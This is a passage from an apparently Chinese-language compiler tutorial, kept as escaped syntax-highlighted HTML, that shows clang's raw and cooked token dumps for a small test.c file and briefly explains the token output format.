&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_brace &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;  Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;eof &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;          Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看得出是：类型&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;+&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实际字符串&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;+&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;无用字符&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;+&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件中位置的格式&lt;&#x2F;p&gt;
&lt;p&gt;if&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那句就是：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;   Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;          Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;plus &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;         [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;numeric_constant &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;     [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;equalequal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;numeric_constant &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;42&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;Spelling&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;24&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这比&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;莫名其妙的“tree”更贴近教材。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看词法分析结果 2：clang test.c -Xclang -dump-raw-tokens -c&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;hash &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;         [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;  Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;                Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;less &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;                Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;stdio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;          Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;period &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;              Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;              Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;17&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;greater &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;               Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;19&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;hash &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;         [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;  Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;define&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;         Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;SECRET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;         Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;numeric_constant &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;42&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;           Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
